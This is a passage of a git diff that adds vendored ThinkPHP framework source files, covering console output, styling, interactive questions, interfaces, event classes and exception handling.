(int) $matches[2]]; + } + if (preg_match('/^(\d+)x(\d+)$/', $this->getMode(), $matches)) { + return [(int) $matches[1], (int) $matches[2]]; + } + } + + if ($sttyString = $this->getSttyColumns()) { + if (preg_match('/rows.(\d+);.columns.(\d+);/i', $sttyString, $matches)) { + return [(int) $matches[2], (int) $matches[1]]; + } + if (preg_match('/;.(\d+).rows;.(\d+).columns/i', $sttyString, $matches)) { + return [(int) $matches[2], (int) $matches[1]]; + } + } + + return [null, null]; + } + + /** + * 获取stty列数 + * @return string + */ + private function getSttyColumns() + { + if (!function_exists('proc_open')) { + return; + } + + $descriptorspec = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; + $process = proc_open('stty -a | grep columns', $descriptorspec, $pipes, null, null, ['suppress_errors' => true]); + if (is_resource($process)) { + $info = stream_get_contents($pipes[1]); + fclose($pipes[1]); + fclose($pipes[2]); + proc_close($process); + + return $info; + } + return; + } + + /** + * 获取终端模式 + * @return string x 或 null + */ + private function getMode() + { + if (!function_exists('proc_open')) { + return; + } + + $descriptorspec = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; + $process = proc_open('mode CON', $descriptorspec, $pipes, null, null, ['suppress_errors' => true]); + if (is_resource($process)) { + $info = stream_get_contents($pipes[1]); + fclose($pipes[1]); + fclose($pipes[2]); + proc_close($process); + + if (preg_match('/--------+\r?\n.+?(\d+)\r?\n.+?(\d+)\r?\n/', $info, $matches)) { + return $matches[2] . 'x' . $matches[1]; + } + } + return; + } + + private function stringWidth(string $string): int + { + if (!function_exists('mb_strwidth')) { + return strlen($string); + } + + if (false === $encoding = mb_detect_encoding($string)) { + return strlen($string); + } + + return mb_strwidth($string, $encoding); + } + + private function splitStringByWidth(string $string, int $width): array + { + if (!function_exists('mb_strwidth')) { + return str_split($string, $width); + } + + if (false === $encoding = mb_detect_encoding($string)) { + return str_split($string, $width); + } + + $utf8String = mb_convert_encoding($string, 'utf8', $encoding); + $lines = []; + $line = ''; + foreach (preg_split('//u', $utf8String) as $char) { + if (mb_strwidth($line . $char, 'utf8') <= $width) { + $line .= $char; + continue; + } + $lines[] = str_pad($line, $width); + $line = $char; + } + if (strlen($line)) { + $lines[] = count($lines) ? str_pad($line, $width) : $line; + } + + mb_convert_variables($encoding, 'utf8', $lines); + + return $lines; + } + + private function isRunningOS400(): bool + { + $checks = [ + function_exists('php_uname') ? php_uname('s') : '', + getenv('OSTYPE'), + PHP_OS, + ]; + return false !== stripos(implode(';', $checks), 'OS400'); + } + + /** + * 当前环境是否支持写入控制台输出到stdout. + * + * @return bool + */ + protected function hasStdoutSupport(): bool + { + return false === $this->isRunningOS400(); + } + + /** + * 当前环境是否支持写入控制台输出到stderr. + * + * @return bool + */ + protected function hasStderrSupport(): bool + { + return false === $this->isRunningOS400(); + } + + /** + * @return resource + */ + private function openOutputStream() + { + if (!$this->hasStdoutSupport()) { + return fopen('php://output', 'w'); + } + return @fopen('php://stdout', 'w') ?: fopen('php://output', 'w'); + } + + /** + * @return resource + */ + private function openErrorStream() + { + return fopen($this->hasStderrSupport() ? 'php://stderr' : 'php://output', 'w'); + } + + /** + * 将消息写入到输出。 + * @param string $message 消息 + * @param bool $newline 是否另起一行 + * @param null $stream + */ + protected function doWrite($message, $newline, $stream = null) + { + if (null === $stream) { + $stream = $this->stdout; + } + if (false === @fwrite($stream, $message . ($newline ? PHP_EOL : ''))) { + throw new \RuntimeException('Unable to write output.'); + } + + fflush($stream); + } + + /** + * 是否支持着色 + * @param $stream + * @return bool + */ + protected function hasColorSupport($stream): bool + { + if (DIRECTORY_SEPARATOR === '\\') { + return + '10.0.10586' === PHP_WINDOWS_VERSION_MAJOR . '.' . PHP_WINDOWS_VERSION_MINOR . '.' . PHP_WINDOWS_VERSION_BUILD + || false !== getenv('ANSICON') + || 'ON' === getenv('ConEmuANSI') + || 'xterm' === getenv('TERM'); + } + + return function_exists('posix_isatty') && @posix_isatty($stream); + } + +} diff --git a/vendor/topthink/framework/src/think/console/output/driver/Nothing.php b/vendor/topthink/framework/src/think/console/output/driver/Nothing.php new file mode 100644 index 0000000..a7cc49e --- /dev/null +++ b/vendor/topthink/framework/src/think/console/output/driver/Nothing.php @@ -0,0 +1,33 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\output\driver; + +use think\console\Output; + +class Nothing +{ + + public function __construct(Output $output) + { + // do nothing + } + + public function write($messages, bool $newline = false, int $options = 0) + { + // do nothing + } + + public function renderException(\Throwable $e) + { + // do nothing + } +} diff --git a/vendor/topthink/framework/src/think/console/output/formatter/Stack.php b/vendor/topthink/framework/src/think/console/output/formatter/Stack.php new file mode 100644 index 0000000..5366259 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/output/formatter/Stack.php @@ -0,0 +1,116 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\output\formatter; + +class Stack +{ + + /** + * @var Style[] + */ + private $styles; + + /** + * @var Style + */ + private $emptyStyle; + + /** + * 构造方法 + * @param Style|null $emptyStyle + */ + public function __construct(Style $emptyStyle = null) + { + $this->emptyStyle = $emptyStyle ?: new Style(); + $this->reset(); + } + + /** + * 重置堆栈 + */ + public function reset(): void + { + $this->styles = []; + } + + /** + * 推一个样式进入堆栈 + * @param Style $style + */ + public function push(Style $style): void + { + $this->styles[] = $style; + } + + /** + * 从堆栈中弹出一个样式 + * @param Style|null $style + * @return Style + * @throws \InvalidArgumentException + */ + public function pop(Style $style = null): Style + { + if (empty($this->styles)) { + return $this->emptyStyle; + } + + if (null === $style) { + return array_pop($this->styles); + } + + /** + * @var int $index + * @var Style $stackedStyle + */ + foreach (array_reverse($this->styles, true) as $index => $stackedStyle) { + if ($style->apply('') === $stackedStyle->apply('')) { + $this->styles = array_slice($this->styles, 0, $index); + + return $stackedStyle; + } + } + + throw new \InvalidArgumentException('Incorrectly nested style tag found.'); + } + + /** + * 计算堆栈的当前样式。 + * @return Style + */ + public function getCurrent(): Style + { + if (empty($this->styles)) { + return $this->emptyStyle; + } + + return $this->styles[count($this->styles) - 1]; + } + + /** + * @param Style $emptyStyle + * @return Stack + */ + public function setEmptyStyle(Style $emptyStyle) + { + $this->emptyStyle = $emptyStyle; + + return $this; + } + + /** + * @return Style + */ + public function getEmptyStyle(): Style + { + return $this->emptyStyle; + } +} diff --git a/vendor/topthink/framework/src/think/console/output/formatter/Style.php b/vendor/topthink/framework/src/think/console/output/formatter/Style.php new file mode 100644 index 0000000..2aae768 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/output/formatter/Style.php @@ -0,0 +1,190 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\output\formatter; + +class Style +{ + protected static $availableForegroundColors = [ + 'black' => ['set' => 30, 'unset' => 39], + 'red' => ['set' => 31, 'unset' => 39], + 'green' => ['set' => 32, 'unset' => 39], + 'yellow' => ['set' => 33, 'unset' => 39], + 'blue' => ['set' => 34, 'unset' => 39], + 'magenta' => ['set' => 35, 'unset' => 39], + 'cyan' => ['set' => 36, 'unset' => 39], + 'white' => ['set' => 37, 'unset' => 39], + ]; + + protected static $availableBackgroundColors = [ + 'black' => ['set' => 40, 'unset' => 49], + 'red' => ['set' => 41, 'unset' => 49], + 'green' => ['set' => 42, 'unset' => 49], + 'yellow' => ['set' => 43, 'unset' => 49], + 'blue' => ['set' => 44, 'unset' => 49], + 'magenta' => ['set' => 45, 'unset' => 49], + 'cyan' => ['set' => 46, 'unset' => 49], + 'white' => ['set' => 47, 'unset' => 49], + ]; + + protected static $availableOptions = [ + 'bold' => ['set' => 1, 'unset' => 22], + 'underscore' => ['set' => 4, 'unset' => 24], + 'blink' => ['set' => 5, 'unset' => 25], + 'reverse' => ['set' => 7, 'unset' => 27], + 'conceal' => ['set' => 8, 'unset' => 28], + ]; + + private $foreground; + private $background; + private $options = []; + + /** + * 初始化输出的样式 + * @param string|null $foreground 字体颜色 + * @param string|null $background 背景色 + * @param array $options 格式 + * @api + */ + public function __construct($foreground = null, $background = null, array $options = []) + { + if (null !== $foreground) { + $this->setForeground($foreground); + } + if (null !== $background) { + $this->setBackground($background); + } + if (count($options)) { + $this->setOptions($options); + } + } + + /** + * 设置字体颜色 + * @param string|null $color 颜色名 + * @throws \InvalidArgumentException + * @api + */ + public function setForeground($color = null) + { + if (null === $color) { + $this->foreground = null; + + return; + } + + if (!isset(static::$availableForegroundColors[$color])) { + throw new \InvalidArgumentException(sprintf('Invalid foreground color specified: "%s". Expected one of (%s)', $color, implode(', ', array_keys(static::$availableForegroundColors)))); + } + + $this->foreground = static::$availableForegroundColors[$color]; + } + + /** + * 设置背景色 + * @param string|null $color 颜色名 + * @throws \InvalidArgumentException + * @api + */ + public function setBackground($color = null) + { + if (null === $color) { + $this->background = null; + + return; + } + + if (!isset(static::$availableBackgroundColors[$color])) { + throw new \InvalidArgumentException(sprintf('Invalid background color specified: "%s". Expected one of (%s)', $color, implode(', ', array_keys(static::$availableBackgroundColors)))); + } + + $this->background = static::$availableBackgroundColors[$color]; + } + + /** + * 设置字体格式 + * @param string $option 格式名 + * @throws \InvalidArgumentException When the option name isn't defined + * @api + */ + public function setOption(string $option): void + { + if (!isset(static::$availableOptions[$option])) { + throw new \InvalidArgumentException(sprintf('Invalid option specified: "%s". Expected one of (%s)', $option, implode(', ', array_keys(static::$availableOptions)))); + } + + if (!in_array(static::$availableOptions[$option], $this->options)) { + $this->options[] = static::$availableOptions[$option]; + } + } + + /** + * 重置字体格式 + * @param string $option 格式名 + * @throws \InvalidArgumentException + */ + public function unsetOption(string $option): void + { + if (!isset(static::$availableOptions[$option])) { + throw new \InvalidArgumentException(sprintf('Invalid option specified: "%s". Expected one of (%s)', $option, implode(', ', array_keys(static::$availableOptions)))); + } + + $pos = array_search(static::$availableOptions[$option], $this->options); + if (false !== $pos) { + unset($this->options[$pos]); + } + } + + /** + * 批量设置字体格式 + * @param array $options + */ + public function setOptions(array $options) + { + $this->options = []; + + foreach ($options as $option) { + $this->setOption($option); + } + } + + /** + * 应用样式到文字 + * @param string $text 文字 + * @return string + */ + public function apply(string $text): string + { + $setCodes = []; + $unsetCodes = []; + + if (null !== $this->foreground) { + $setCodes[] = $this->foreground['set']; + $unsetCodes[] = $this->foreground['unset']; + } + if (null !== $this->background) { + $setCodes[] = $this->background['set']; + $unsetCodes[] = $this->background['unset']; + } + if (count($this->options)) { + foreach ($this->options as $option) { + $setCodes[] = $option['set']; + $unsetCodes[] = $option['unset']; + } + } + + if (0 === count($setCodes)) { + return $text; + } + + return sprintf("\033[%sm%s\033[%sm", implode(';', $setCodes), $text, implode(';', $unsetCodes)); + } +} diff --git a/vendor/topthink/framework/src/think/console/output/question/Choice.php b/vendor/topthink/framework/src/think/console/output/question/Choice.php new file mode 100644 index 0000000..1da1750 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/output/question/Choice.php @@ -0,0 +1,163 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\output\question; + +use think\console\output\Question; + +class Choice extends Question +{ + + private $choices; + private $multiselect = false; + private $prompt = ' > '; + private $errorMessage = 'Value "%s" is invalid'; + + /** + * 构造方法 + * @param string $question 问题 + * @param array $choices 选项 + * @param mixed $default 默认答案 + */ + public function __construct($question, array $choices, $default = null) + { + parent::__construct($question, $default); + + $this->choices = $choices; + $this->setValidator($this->getDefaultValidator()); + $this->setAutocompleterValues($choices); + } + + /** + * 可选项 + * @return array + */ + public function getChoices(): array + { + return $this->choices; + } + + /** + * 设置可否多选 + * @param bool $multiselect + * @return self + */ + public function setMultiselect(bool $multiselect) + { + $this->multiselect = $multiselect; + $this->setValidator($this->getDefaultValidator()); + + return $this; + } + + public function isMultiselect(): bool + { + return $this->multiselect; + } + + /** + * 获取提示 + * @return string + */ + public function getPrompt(): string + { + return $this->prompt; + } + + /** + * 设置提示 + * @param string $prompt + * @return self + */ + public function setPrompt(string $prompt) + { + $this->prompt = $prompt; + + return $this; + } + + /** + * 设置错误提示信息 + * @param string $errorMessage + * @return self + */ + public function setErrorMessage(string $errorMessage) + { + $this->errorMessage = $errorMessage; + $this->setValidator($this->getDefaultValidator()); + + return $this; + } + + /** + * 获取默认的验证方法 + * @return callable + */ + private function getDefaultValidator() + { + $choices = $this->choices; + $errorMessage = $this->errorMessage; + $multiselect = $this->multiselect; + $isAssoc = $this->isAssoc($choices); + + return function ($selected) use ($choices, $errorMessage, $multiselect, $isAssoc) { + // Collapse all spaces. + $selectedChoices = str_replace(' ', '', $selected); + + if ($multiselect) { + // Check for a separated comma values + if (!preg_match('/^[a-zA-Z0-9_-]+(?:,[a-zA-Z0-9_-]+)*$/', $selectedChoices, $matches)) { + throw new \InvalidArgumentException(sprintf($errorMessage, $selected)); + } + $selectedChoices = explode(',', $selectedChoices); + } else { + $selectedChoices = [$selected]; + } + + $multiselectChoices = []; + foreach ($selectedChoices as $value) { + $results = []; + foreach ($choices as $key => $choice) { + if ($choice === $value) { + $results[] = $key; + } + } + + if (count($results) > 1) { + throw new \InvalidArgumentException(sprintf('The provided answer is ambiguous. Value should be one of %s.', implode(' or ', $results))); + } + + $result = array_search($value, $choices); + + if (!$isAssoc) { + if (!empty($result)) { + $result = $choices[$result]; + } elseif (isset($choices[$value])) { + $result = $choices[$value]; + } + } elseif (empty($result) && array_key_exists($value, $choices)) { + $result = $value; + } + + if (false === $result) { + throw new \InvalidArgumentException(sprintf($errorMessage, $value)); + } + array_push($multiselectChoices, $result); + } + + if ($multiselect) { + return $multiselectChoices; + } + + return current($multiselectChoices); + }; + } +} diff --git a/vendor/topthink/framework/src/think/console/output/question/Confirmation.php b/vendor/topthink/framework/src/think/console/output/question/Confirmation.php new file mode 100644 index 0000000..bf71b5d --- /dev/null +++ b/vendor/topthink/framework/src/think/console/output/question/Confirmation.php @@ -0,0 +1,57 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\output\question; + +use think\console\output\Question; + +class Confirmation extends Question +{ + + private $trueAnswerRegex; + + /** + * 构造方法 + * @param string $question 问题 + * @param bool $default 默认答案 + * @param string $trueAnswerRegex 验证正则 + */ + public function __construct(string $question, bool $default = true, string $trueAnswerRegex = '/^y/i') + { + parent::__construct($question, (bool) $default); + + $this->trueAnswerRegex = $trueAnswerRegex; + $this->setNormalizer($this->getDefaultNormalizer()); + } + + /** + * 获取默认的答案回调 + * @return callable + */ + private function getDefaultNormalizer() + { + $default = $this->getDefault(); + $regex = $this->trueAnswerRegex; + + return function ($answer) use ($default, $regex) { + if (is_bool($answer)) { + return $answer; + } + + $answerIsTrue = (bool) preg_match($regex, $answer); + if (false === $default) { + return $answer && $answerIsTrue; + } + + return !$answer || $answerIsTrue; + }; + } +} diff --git a/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php b/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php new file mode 100644 index 0000000..e953f66 --- /dev/null +++ b/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php @@ -0,0 +1,88 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\contract; + +/** + * 缓存驱动接口 + */ +interface CacheHandlerInterface +{ + /** + * 判断缓存 + * @access public + * @param string $name 缓存变量名 + * @return bool + */ + public function has($name); + + /** + * 读取缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $default 默认值 + * @return mixed + */ + public function get($name, $default = null); + + /** + * 写入缓存 + * @access public + * @param string $name 缓存变量名 + * @param mixed $value 存储数据 + * @param integer|\DateTime $expire 有效时间(秒) + * @return bool + */ + public function set($name, $value, $expire = null); + + /** + * 自增缓存(针对数值缓存) + * @access public + * @param string $name 缓存变量名 + * @param int $step 步长 + * @return false|int + */ + public function inc(string $name, int $step = 1); + + /** + * 自减缓存(针对数值缓存) + * @access public + * @param string $name 缓存变量名 + * @param int $step 步长 + * @return false|int + */ + public function dec(string $name, int $step = 1); + + /** + * 删除缓存 + * @access public + * @param string $name 缓存变量名 + * @return bool + */ + public function delete($name); + + /** + * 清除缓存 + * @access public + * @return bool + */ + public function clear(); + + /** + * 删除缓存标签 + * @access public + * @param array $keys 缓存标识列表 + * @return void + */ + public function clearTag(array $keys); + +} diff --git a/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php b/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php new file mode 100644 index 0000000..896ac29 --- /dev/null +++ b/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php @@ -0,0 +1,28 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\contract; + +/** + * 日志驱动接口 + */ +interface LogHandlerInterface +{ + /** + * 日志写入接口 + * @access public + * @param array $log 日志信息 + * @return bool + */ + public function save(array $log): bool; + +} diff --git a/vendor/topthink/framework/src/think/contract/ModelRelationInterface.php b/vendor/topthink/framework/src/think/contract/ModelRelationInterface.php new file mode 100644 index 0000000..49cfa75 --- /dev/null +++ b/vendor/topthink/framework/src/think/contract/ModelRelationInterface.php @@ -0,0 +1,99 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\contract; + +use Closure; +use think\Collection; +use think\db\Query; +use think\Model; + +/** + * 模型关联接口 + */ +interface ModelRelationInterface +{ + /** + * 延迟获取关联数据 + * @access public + * @param array $subRelation 子关联 + * @param Closure $closure 闭包查询条件 + * @return Collection + */ + public function getRelation(array $subRelation = [], Closure $closure = null): Collection; + + /** + * 预载入关联查询 + * @access public + * @param array $resultSet 数据集 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包条件 + * @return void + */ + public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null): void; + + /** + * 预载入关联查询 + * @access public + * @param Model $result 数据对象 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包条件 + * @return void + */ + public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null): void; + + /** + * 关联统计 + * @access public + * @param Model $result 模型对象 + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return integer + */ + public function relationCount(Model $result, Closure $closure, string $aggregate = 'count', string $field = '*', string &$name = null); + + /** + * 创建关联统计子查询 + * @access public + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return string + */ + public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string; + + /** + * 根据关联条件查询当前模型 + * @access public + * @param string $operator 比较操作符 + * @param integer $count 个数 + * @param string $id 关联表的统计字段 + * @param string $joinType JOIN类型 + * @return Query + */ + public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = 'INNER'): Query; + + /** + * 根据关联条件查询当前模型 + * @access public + * @param mixed $where 查询条件(数组或者闭包) + * @param mixed $fields 字段 + * @param string $joinType JOIN类型 + * @return Query + */ + public function hasWhere($where = [], $fields = null, string $joinType = ''): Query; +} diff --git a/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php b/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php new file mode 100644 index 0000000..caed322 --- /dev/null +++ b/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php @@ -0,0 +1,23 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\contract; + +/** + * Session驱动接口 + */ +interface SessionHandlerInterface +{ + public function read(string $sessionId): string; + public function delete(string $sessionId): bool; + public function write(string $sessionId, string $data): bool; +} diff --git a/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php b/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php new file mode 100644 index 0000000..f01820d --- /dev/null +++ b/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php @@ -0,0 +1,61 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\contract; + +/** + * 视图驱动接口 + */ +interface TemplateHandlerInterface +{ + /** + * 检测是否存在模板文件 + * @access public + * @param string $template 模板文件或者模板规则 + * @return bool + */ + public function exists(string $template): bool; + + /** + * 渲染模板文件 + * @access public + * @param string $template 模板文件 + * @param array $data 模板变量 + * @return void + */ + public function fetch(string $template, array $data = []): void; + + /** + * 渲染模板内容 + * @access public + * @param string $content 模板内容 + * @param array $data 模板变量 + * @return void + */ + public function display(string $content, array $data = []): void; + + /** + * 配置模板引擎 + * @access private + * @param array $config 参数 + * @return void + */ + public function config(array $config): void; + + /** + * 获取模板引擎配置 + * @access public + * @param string $name 参数名 + * @return void + */ + public function getConfig(string $name); +} diff --git a/vendor/topthink/framework/src/think/event/AppInit.php b/vendor/topthink/framework/src/think/event/AppInit.php new file mode 100644 index 0000000..83d75e7 --- /dev/null +++ b/vendor/topthink/framework/src/think/event/AppInit.php @@ -0,0 +1,19 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\event; + +/** + * AppInit事件类 + */ +class AppInit +{} diff --git a/vendor/topthink/framework/src/think/event/HttpEnd.php b/vendor/topthink/framework/src/think/event/HttpEnd.php new file mode 100644 index 0000000..5296ef1 --- /dev/null +++ b/vendor/topthink/framework/src/think/event/HttpEnd.php @@ -0,0 +1,19 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\event; + +/** + * HttpEnd事件类 + */ +class HttpEnd +{} diff --git a/vendor/topthink/framework/src/think/event/HttpRun.php b/vendor/topthink/framework/src/think/event/HttpRun.php new file mode 100644 index 0000000..a9cd7c3 --- /dev/null +++ b/vendor/topthink/framework/src/think/event/HttpRun.php @@ -0,0 +1,19 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\event; + +/** + * HttpRun事件类 + */ +class HttpRun +{} diff --git a/vendor/topthink/framework/src/think/event/LogWrite.php b/vendor/topthink/framework/src/think/event/LogWrite.php new file mode 100644 index 0000000..470e119 --- /dev/null +++ b/vendor/topthink/framework/src/think/event/LogWrite.php @@ -0,0 +1,31 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\event; + +/** + * LogWrite事件类 + */ +class LogWrite +{ + /** @var string */ + public $channel; + + /** @var array */ + public $log; + + public function __construct($channel, $log) + { + $this->channel = $channel; + $this->log = $log; + } +} diff --git a/vendor/topthink/framework/src/think/event/RouteLoaded.php b/vendor/topthink/framework/src/think/event/RouteLoaded.php new file mode 100644 index 0000000..eee1f3e --- /dev/null +++ b/vendor/topthink/framework/src/think/event/RouteLoaded.php @@ -0,0 +1,21 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\event; + +/** + * 路由加载完成事件 + */ +class RouteLoaded +{ + +} diff --git a/vendor/topthink/framework/src/think/exception/ClassNotFoundException.php b/vendor/topthink/framework/src/think/exception/ClassNotFoundException.php new file mode 100644 index 0000000..2fa1f58 --- /dev/null +++ b/vendor/topthink/framework/src/think/exception/ClassNotFoundException.php @@ -0,0 +1,39 @@ + +// +---------------------------------------------------------------------- + +namespace think\exception; + +use Psr\Container\NotFoundExceptionInterface; +use RuntimeException; +use Throwable; + +class ClassNotFoundException extends RuntimeException implements NotFoundExceptionInterface +{ + protected $class; + + public function __construct(string $message, string $class = '', Throwable $previous = null) + { + $this->message = $message; + $this->class = $class; + + parent::__construct($message, 0, $previous); + } + + /** + * 获取类名 + * @access public + * @return string + */ + public function getClass() + { + return $this->class; + } +} diff --git a/vendor/topthink/framework/src/think/exception/ErrorException.php b/vendor/topthink/framework/src/think/exception/ErrorException.php new file mode 100644 index 0000000..54de0fe --- /dev/null +++ b/vendor/topthink/framework/src/think/exception/ErrorException.php @@ -0,0 +1,57 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\exception; + +use think\Exception; + +/** + * ThinkPHP错误异常 + * 主要用于封装 set_error_handler 和 register_shutdown_function 得到的错误 + * 除开从 think\Exception 继承的功能 + * 其他和PHP系统\ErrorException功能基本一样 + */ +class ErrorException extends Exception +{ + /** + * 用于保存错误级别 + * @var integer + */ + protected $severity; + + /** + * 错误异常构造函数 + * @access public + * @param integer $severity 错误级别 + * @param string $message 错误详细信息 + * @param string $file 出错文件路径 + * @param integer $line 出错行号 + */ + public function __construct(int $severity, string $message, string $file, int $line) + { + $this->severity = $severity; + $this->message = $message; + $this->file = $file; + $this->line = $line; + $this->code = 0; + } + + /** + * 获取错误级别 + * @access public + * @return integer 错误级别 + */ + final public function getSeverity() + { + return $this->severity; + } +} diff --git a/vendor/topthink/framework/src/think/exception/FileException.php b/vendor/topthink/framework/src/think/exception/FileException.php new file mode 100644 index 0000000..2254472 --- /dev/null +++ b/vendor/topthink/framework/src/think/exception/FileException.php @@ -0,0 +1,17 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\exception; + +class FileException extends \RuntimeException +{ +} diff --git a/vendor/topthink/framework/src/think/exception/FuncNotFoundException.php b/vendor/topthink/framework/src/think/exception/FuncNotFoundException.php new file mode 100644 index 0000000..ee2bcad --- /dev/null +++ b/vendor/topthink/framework/src/think/exception/FuncNotFoundException.php @@ -0,0 +1,30 @@ +message = $message; + $this->func = $func; + + parent::__construct($message, 0, $previous); + } + + /** + * 获取方法名 + * @access public + * @return string + */ + public function getFunc() + { + return $this->func; + } +} diff --git a/vendor/topthink/framework/src/think/exception/Handle.php b/vendor/topthink/framework/src/think/exception/Handle.php new file mode 100644 index 0000000..8484b6f --- /dev/null +++ b/vendor/topthink/framework/src/think/exception/Handle.php @@ -0,0 +1,332 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\exception; + +use Exception; +use think\App; +use think\console\Output; +use think\db\exception\DataNotFoundException; +use think\db\exception\ModelNotFoundException; +use think\Request; +use think\Response; +use Throwable; + +/** + * 系统异常处理类 + */ +class Handle +{ + /** @var App */ + protected $app; + + protected $ignoreReport = [ + HttpException::class, + HttpResponseException::class, + ModelNotFoundException::class, + DataNotFoundException::class, + ValidateException::class, + ]; + + protected $isJson = false; + + public function __construct(App $app) + { + $this->app = $app; + } + + /** + * Report or log an exception. + * + * @access public + * @param Throwable $exception + * @return void + */ + public function report(Throwable $exception): void + { + if (!$this->isIgnoreReport($exception)) { + // 收集异常数据 + if ($this->app->isDebug()) { + $data = [ + 'file' => $exception->getFile(), + 'line' => $exception->getLine(), + 'message' => $this->getMessage($exception), + 'code' => $this->getCode($exception), + ]; + $log = "[{$data['code']}]{$data['message']}[{$data['file']}:{$data['line']}]"; + } else { + $data = [ + 'code' => $this->getCode($exception), + 'message' => $this->getMessage($exception), + ]; + $log = "[{$data['code']}]{$data['message']}"; + } + + if ($this->app->config->get('log.record_trace')) { + $log .= PHP_EOL . $exception->getTraceAsString(); + } + + try { + $this->app->log->record($log, 'error'); + } catch (Exception $e) {} + } + } + + protected function isIgnoreReport(Throwable $exception): bool + { + foreach ($this->ignoreReport as $class) { + if ($exception instanceof $class) { + return true; + } + } + + return false; + } + + /** + * Render an exception into an HTTP response. + * + * @access public + * @param Request $request + * @param Throwable $e + * @return Response + */ + public function render($request, Throwable $e): Response + { + $this->isJson = $request->isJson(); + if ($e instanceof HttpResponseException) { + return $e->getResponse(); + } elseif ($e instanceof HttpException) { + return $this->renderHttpException($e); + } else { + return $this->convertExceptionToResponse($e); + } + } + + /** + * @access public + * @param Output $output + * @param Throwable $e + */ + public function renderForConsole(Output $output, Throwable $e): void + { + if ($this->app->isDebug()) { + $output->setVerbosity(Output::VERBOSITY_DEBUG); + } + + $output->renderException($e); + } + + /** + * @access protected + * @param HttpException $e + * @return Response + */ + protected function renderHttpException(HttpException $e): Response + { + $status = $e->getStatusCode(); + $template = $this->app->config->get('app.http_exception_template'); + + if (!$this->app->isDebug() && !empty($template[$status])) { + return Response::create($template[$status], 'view', $status)->assign(['e' => $e]); + } else { + return $this->convertExceptionToResponse($e); + } + } + + /** + * 收集异常数据 + * @param Throwable $exception + * @return array + */ + protected function convertExceptionToArray(Throwable $exception): array + { + if ($this->app->isDebug()) { + // 调试模式,获取详细的错误信息 + $traces = []; + $nextException = $exception; + do { + $traces[] = [ + 'name' => get_class($nextException), + 'file' => $nextException->getFile(), + 'line' => $nextException->getLine(), + 'code' => $this->getCode($nextException), + 'message' => $this->getMessage($nextException), + 'trace' => $nextException->getTrace(), + 'source' => $this->getSourceCode($nextException), + ]; + } while ($nextException = $nextException->getPrevious()); + $data = [ + 'code' => $this->getCode($exception), + 'message' => $this->getMessage($exception), + 'traces' => $traces, + 'datas' => $this->getExtendData($exception), + 'tables' => [ + 'GET Data' => $this->app->request->get(), + 'POST Data' => $this->app->request->post(), + 'Files' => $this->app->request->file(), + 'Cookies' => $this->app->request->cookie(), + 'Session' => $this->app->exists('session') ? $this->app->session->all() : [], + 'Server/Request Data' => $this->app->request->server(), + ], + ]; + } else { + // 部署模式仅显示 Code 和 Message + $data = [ + 'code' => $this->getCode($exception), + 'message' => $this->getMessage($exception), + ]; + + if (!$this->app->config->get('app.show_error_msg')) { + // 不显示详细错误信息 + $data['message'] = $this->app->config->get('app.error_message'); + } + } + + return $data; + } + + /** + * @access protected + * @param Throwable $exception + * @return Response + */ + protected function convertExceptionToResponse(Throwable $exception): Response + { + if (!$this->isJson) { + $response = Response::create($this->renderExceptionContent($exception)); + } else { + $response = Response::create($this->convertExceptionToArray($exception), 'json'); + } + + if ($exception instanceof HttpException) { + $statusCode = $exception->getStatusCode(); + $response->header($exception->getHeaders()); + } + + return $response->code($statusCode ?? 500); + } + + protected function renderExceptionContent(Throwable $exception): string + { + ob_start(); + $data = $this->convertExceptionToArray($exception); + extract($data); + include $this->app->config->get('app.exception_tmpl') ?: __DIR__ . '/../../tpl/think_exception.tpl'; + + return ob_get_clean(); + } + + /** + * 获取错误编码 + * ErrorException则使用错误级别作为错误编码 + * @access protected + * @param Throwable $exception + * @return integer 错误编码 + */ + protected function 